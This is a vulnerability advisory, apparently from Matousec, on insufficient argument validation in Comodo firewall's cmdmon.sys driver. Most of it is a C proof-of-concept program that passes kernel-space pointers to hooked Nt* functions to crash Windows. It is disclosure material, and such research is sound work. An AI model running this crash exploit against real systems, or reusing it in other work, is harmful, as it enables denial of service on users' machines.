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| Comodo Firewall Pro (former Comodo Personal Firewall) hooks many functions in SSDT and in at least seven cases it fails to validate arguments that come from the user mode. User calls to NtConnectPort (CFP 2.4.16.174 is not affected), NtCreatePort (CFP 2.4.16.174 is not affected), NtCreateSection, NtOpenProcess, NtOpenSection, NtOpenThread and NtSetValueKey with invalid argument values can cause system crashes because of errors in CFP driver cmdmon.sys. Further impacts of this bug (like arbitrary code execution in the kernel mode) were not examined. |
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Credit:
The information has been provided by Matousec - Transparent security Research.
The original article can be found at: http://www.matousec.com/info/advisories/Comodo-Multiple-insufficient-argument-validation-of-hooked-SSDT-functions.php
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Vulnerable software:
* Comodo Firewall Pro 2.4.16.174
* Comodo Personal Firewall 2.3.6.81
* probably all older versions of Comodo Personal Firewall 2
* possibly older versions of Comodo Personal Firewall
Exploit:
/*
Testing program for Multiple insufficient argument validation of hooked SSDT function (BTP00000P005CF)
Usage:
prog FUNCNAME
FUNCNAME - name of function to be checked
Description:
This program calls given function with parameters that crash the system. This happens because of
insufficient validation of function arguments in the driver of the firewall.
Test:
Running the testing program with the name of a function from the list of affected functions.
*/
#undef __STRICT_ANSI__
#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <ddk/ntapi.h>
#include <ddk/ntifs.h>
void about(void)
{
printf("Testing program for Multiple insufficient argument validation of hooked SSDT function (BTP00000P005CF)\n");
printf("Windows Personal Firewall analysis project\n");
printf("Copyright 2007 by Matousec - Transparent security\n");
printf("http://www.matousec.com/""\n\n");
return;
}
void usage(void)
{
printf("Usage: test FUNCNAME\n"
" FUNCNAME - name of function to be checked\n");
return;
}
void print_last_error(void)
{
LPTSTR buf;
DWORD code=GetLastError();
if (FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM,NULL,code,0,(LPTSTR)&buf,0,NULL))
{
fprintf(stderr,"Error code: %ld\n",code);
fprintf(stderr,"Error message: %s",buf);
LocalFree(buf);
} else fprintf(stderr,"Unable to format error message for code %ld.\n",code);
return;
}
int main(int argc,char **argv)
{
about();
if (argc!=2)
{
usage();
return 1;
}
if (!stricmp(argv[1],"NtConnectPort") || !stricmp(argv[1],"ZwConnectPort"))
{
HANDLE handle;
UNICODE_STRING us={0x1000,0x1000,NULL};
SECURITY_QUALITY_OF_SERVICE sqos;
for (int i=0;i>=0;i++)
{
us.Buffer=(PVOID)(i+0x80000000);
ZwConnectPort(&handle,&us,&sqos,NULL,NULL,NULL,NULL,NULL);
}
} else if (!stricmp(argv[1],"NtCreatePort") || !stricmp(argv[1],"ZwCreatePort"))
{
HANDLE handle;
OBJECT_ATTRIBUTES oa;
UNICODE_STRING us={0x1000,0x1000,NULL};
InitializeObjectAttributes(&oa,&us,0,NULL,NULL);
for (int i=0;i>=0;i++)
{
us.Buffer=(PVOID)(i+0x80000000);
ZwCreatePort(&handle,&oa,0,0,0);
}
} else if (!stricmp(argv[1],"NtCreateSection") || !stricmp(argv[1],"ZwCreateSection"))
{
HANDLE handle;
for (int i=0;i>=0;i++)
{
POBJECT_ATTRIBUTES oa=(PVOID)(i+0x80000000);
ZwCreateSection(&handle,0,oa,NULL,0,0,NULL);
}
} else if (!stricmp(argv[1],"NtOpenProcess") || !stricmp(argv[1],"ZwOpenProcess"))
{
HANDLE handle;
OBJECT_ATTRIBUTES oa;
UNICODE_STRING us={0x1000,0x1000,NULL};
InitializeObjectAttributes(&oa,&us,0,NULL,NULL);
for (int i=0;i>=0;i++)
{
PCLIENT_ID clid=(PVOID)(i+0x80000000);
ZwOpenProcess(&handle,PROCESS_ALL_ACCESS,&oa,clid);
}
} else if (!stricmp(argv[1],"NtOpenSection") || !stricmp(argv[1],"ZwOpenSection"))
{
HANDLE handle;
for (int i=0;i>=0;i++)
{
POBJECT_ATTRIBUTES oa=(PVOID)(i+0x80000000);
ZwOpenSection(&handle,SECTION_ALL_ACCESS,oa);
}
} else if (!stricmp(argv[1],"NtOpenThread") || !stricmp(argv[1],"ZwOpenThread"))
{
HANDLE handle;
OBJECT_ATTRIBUTES oa;
UNICODE_STRING us={0x1000,0x1000,NULL};
InitializeObjectAttributes(&oa,&us,0,NULL,NULL);
for (int i=0;i>=0;i++)
{
PCLIENT_ID clid=(PVOID)(i+0x80000000);
ZwOpenThread(&handle,THREAD_ALL_ACCESS,&oa,clid);
}
} else if (!stricmp(argv[1],"NtSetValueKey") || !stricmp(argv[1],"ZwSetValueKey"))
{
for (int i=0;i>=0;i++)
{
PUNICODE_STRING us=(PVOID)(i+0x80000000);
ZwSetValueKey(NULL,us,0,REG_NONE,NULL,0);
}
} else printf("\nI do not know how to exploit the vulnerability using this function.\n");
printf("\nTEST FAILED!\n");
return 1;
}
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